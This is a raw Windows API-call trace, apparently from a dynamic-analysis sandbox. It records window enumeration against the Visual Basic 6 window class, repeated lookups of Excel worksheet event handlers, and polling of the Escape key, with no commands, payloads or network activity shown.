	[0085.344] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0085.344] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.344] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0085.344] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0085.344] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0085.344] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0085.345] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0085.345] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.345] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.345] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0085.345] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0085.345] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0085.345] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0085.345] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0085.345] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0085.345] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.345] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.345] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0085.345] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0085.345] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0085.345] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0085.345] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0085.345] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0085.345] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.345] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.345] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0085.345] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0085.345] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0085.345] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0085.345] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0085.345] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102
	[0085.345] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0085.345] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0085.345] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0085.345] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc
	[0085.345] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0085.345] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0085.345] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
	[0085.345] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e
	[0085.345] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0085.345] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0085.346] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.346] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084
	[0085.346] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0085.346] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0085.346] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518
	[0085.346] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0085.346] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0085.346] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0094.577] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x8200000284 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x8200000284) returned 0x0
	[0094.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0094.577] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0094.577] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0094.577] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0094.579] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0094.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0094.579] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0094.579] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0094.579] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0094.603] GetCurrentThreadId () returned 0x8e8
	[0094.603] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0094.603] GetDesktopWindow () returned 0x10010
	[0094.992] GetAsyncKeyState (vKey=27) returned 0
	[0094.992] GetCurrentThreadId () returned 0x8e8
	[0094.992] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0094.992] GetDesktopWindow () returned 0x10010
	[0098.058] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x820000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x820000035b) returned 0x0
	[0098.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0098.058] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0098.058] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0098.058] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0098.060] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0098.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0098.060] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0098.060] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0098.060] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0098.075] GetCurrentThreadId () returned 0x8e8
	[0098.075] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0098.075] GetDesktopWindow () returned 0x10010
	[0098.356] GetAsyncKeyState (vKey=27) returned 0
	[0098.356] GetCurrentThreadId () returned 0x8e8
	[0098.356] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0098.356] GetDesktopWindow () returned 0x10010
	[0107.540] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9c00000284 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9c00000284) returned 0x0
	[0107.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0107.540] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0107.540] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0107.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0107.541] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0107.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0107.541] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0107.541] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0107.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0107.568] GetCurrentThreadId () returned 0x8e8
	[0107.568] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0107.568] GetDesktopWindow () returned 0x10010
	[0107.941] GetAsyncKeyState (vKey=27) returned 0
	[0107.941] GetCurrentThreadId () returned 0x8e8
	[0107.941] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0107.941] GetDesktopWindow () returned 0x10010
	[0111.025] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9c0000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9c0000035b) returned 0x0
	[0111.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0111.025] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0111.025] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0111.025] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0111.027] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0111.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0111.027] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0111.027] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0111.027] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0111.041] GetCurrentThreadId () returned 0x8e8
	[0111.041] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0111.041] GetDesktopWindow () returned 0x10010
	[0111.336] GetAsyncKeyState (vKey=27) returned 0
	[0111.336] GetCurrentThreadId () returned 0x8e8
	[0111.336] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0111.336] GetDesktopWindow () returned 0x10010
	[0114.403] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb6000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb6000000d6) returned 0x0
	[0114.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0114.403] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0114.403] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0114.403] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0117.525] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb6000001ad | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb6000001ad) returned 0x0
	[0117.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0117.525] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0117.525] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0117.525] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0117.526] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0117.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0117.526] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0117.526] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0117.526] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0117.538] GetCurrentThreadId () returned 0x8e8
	[0117.538] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0117.538] GetDesktopWindow () returned 0x10010
	[0117.834] GetAsyncKeyState (vKey=27) returned 0
	[0117.834] GetCurrentThreadId () returned 0x8e8
	[0117.834] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0117.834] GetDesktopWindow () returned 0x10010
	[0120.871] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb600000284 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb600000284) returned 0x0
	[0120.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0120.871] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0120.871] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0120.871] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0120.873] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0120.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0120.873] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0120.873] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0120.873] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0120.888] GetCurrentThreadId () returned 0x8e8
	[0120.888] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0120.888] GetDesktopWindow () returned 0x10010
	[0121.179] GetAsyncKeyState (vKey=27) returned 0
	[0121.179] GetCurrentThreadId () returned 0x8e8
	[0121.179] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0121.179] GetDesktopWindow () returned 0x10010
	[0124.286] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb60000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb60000035b) returned 0x0
	[0124.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0124.287] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0124.287] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0124.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0124.288] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0124.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0124.288] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0124.288] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0124.289] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0124.305] GetCurrentThreadId () returned 0x8e8
	[0124.305] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0124.305] GetDesktopWindow () returned 0x10010
	[0124.586] GetAsyncKeyState (vKey=27) returned 0
	[0124.586] GetCurrentThreadId () returned 0x8e8
	[0124.586] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0124.586] GetDesktopWindow () returned 0x10010
	[0127.780] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000000d6) returned 0x0
	[0127.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0127.780] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0127.780] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0127.781] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0127.786] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000000d6) returned 0x0
	[0127.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0127.787] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0127.787] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0127.787] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0130.865] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000001ad | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000001ad) returned 0x0
	[0130.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0130.865] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0130.865] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0130.865] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0130.866] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0130.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0130.866] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0130.866] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0130.866] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0130.877] GetCurrentThreadId () returned 0x8e8
	[0130.877] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0130.877] GetDesktopWindow () returned 0x10010
